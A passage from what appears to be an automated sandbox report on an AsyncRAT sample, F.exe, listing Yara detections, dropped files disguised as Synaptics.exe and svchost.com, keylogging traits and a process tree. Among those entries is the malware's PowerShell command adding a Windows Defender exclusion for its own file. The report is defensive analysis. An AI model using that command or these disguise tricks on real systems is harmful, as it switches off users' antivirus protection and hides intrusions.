Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49852 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Contains functionality to log keystrokes (.Net Source)

Source: 0.3.F.exe.2257504.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: ._cache_F.exe.2.dr, XLogger.cs	.Net Code: KeyboardLayout

Source: FLTLDR.EXE.7.dr

Binary or memory string: RegisterRawInputDevices

memstr_7506c74c-8

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\Desktop\._cache_F.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: F.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\XClient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\svchost.com

File created: C:\Windows\directx.sys

Source: C:\Users\user\Desktop\F.exe	File created: C:\Windows\svchost.com			Jump to behavior
Source: C:\Windows\svchost.com	File created: C:\Windows\directx.sys

Source: C:\Users\user\Desktop\._cache_F.exe	Code function: 3_2_00007FF848F06662	3_2_00007FF848F06662
Source: C:\Users\user\Desktop\._cache_F.exe	Code function: 3_2_00007FF848F00610	3_2_00007FF848F00610
Source: C:\Users\user\Desktop\._cache_F.exe	Code function: 3_2_00007FF848F01771	3_2_00007FF848F01771
Source: C:\Users\user\Desktop\._cache_F.exe	Code function: 3_2_00007FF848F058B6	3_2_00007FF848F058B6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0415B490	8_2_0415B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0415B470	8_2_0415B470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_04FBB490	21_2_04FBB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_04FBB470	21_2_04FBB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_04F0B490	24_2_04F0B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_04F0B470	24_2_04F0B470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_08AA3E98	24_2_08AA3E98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BEB490	27_2_04BEB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BEB470	27_2_04BEB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_085D3E98	27_2_085D3E98

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\AutoIt3\Au3Check.exe A3C4641D4CB4608AF18CD06E4C01339C65C25B9289F0AA01CABE0E5C250A0E15
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\AutoIt3\Au3Info.exe 55075BDACF914AF03AD6CD417AFFC3A604A73AFD3D06A2256A1835CBF0F39B5E
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe B904C8888CD019FAD590E1135E917D944BC16340757BC90DDD3511359766B8BB
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe 15D3823B1CB8C10E2F0A0882BC273093742E957F0E7DB05B98B8FF020897559D

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 3276

Source: Synaptics.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Synaptics.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: F.exe, 00000000.00000003.2045892912.0000000002271000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs F.exe
Source: F.exe, 00000002.00000003.2064567983.000000000088F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs F.exe
Source: F.exe, 00000002.00000003.2064567983.000000000088F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000002.00000003.2061562260.000000000088F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000002.00000003.2064567983.000000000087D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs F.exe
Source: F.exe, 00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFileName vs F.exe
Source: F.exe, 00000002.00000003.2062267957.00000000008B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000002.00000003.2062923839.00000000008B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe, 00000002.00000003.2061562260.000000000084C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs F.exe
Source: ._cache_F.exe, 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: ._cache_F.exe, 00000003.00000000.2060247485.00000000006BC000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe
Source: F.exe	Binary or memory string: OriginalFileName vs F.exe
Source: F.exe	Binary or memory string: OriginalFilenameXClient.exe4 vs F.exe

Source: F.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: F.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\XClient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 0.3.F.exe.2257504.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.F.exe.2257504.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.F.exe.2257504.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_F.exe.2.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_F.exe.2.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_F.exe.2.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.3.F.exe.2257504.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.F.exe.2257504.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ._cache_F.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: ._cache_F.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@32/223@8/6

Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe

File created: C:\Users\user\Desktop\._cache_F.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8624:120:WilError_03
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Users\user\Desktop\._cache_F.exe	Mutant created: \Sessions\1\BaseNamedObjects\mbuYWmhQxC0l7ybb
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3868
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8832:120:WilError_03
Source: C:\Windows\svchost.com	Mutant created: \Sessions\1\BaseNamedObjects\MutexPolesskayaGlush. svchost.com n X . t N t h ` T 5 @
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8532:120:WilError_03

Source: C:\Users\user\Desktop\F.exe

File created: C:\Users\user\AppData\Local\Temp\3582-490

Jump to behavior

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021FF000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.0000000002A69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXAC4B.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: F.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 46.72%

Source: C:\Users\user\Desktop\F.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\F.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: integrator.exe.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: integrator.exe.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: integrator.exe.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: integrator.exe.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: F.exe	ReversingLabs: Detection: 100%
Source: F.exe	Virustotal: Detection: 90%

Source: C:\Users\user\Desktop\F.exe

File read: C:\Users\user\Desktop\F.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\F.exe "C:\Users\user\Desktop\F.exe"
Source: C:\Users\user\Desktop\F.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\F.exe "C:\Users\user\AppData\Local\Temp\3582-490\F.exe"
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process created: C:\Users\user\Desktop\._cache_F.exe "C:\Users\user\Desktop\._cache_F.exe"
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
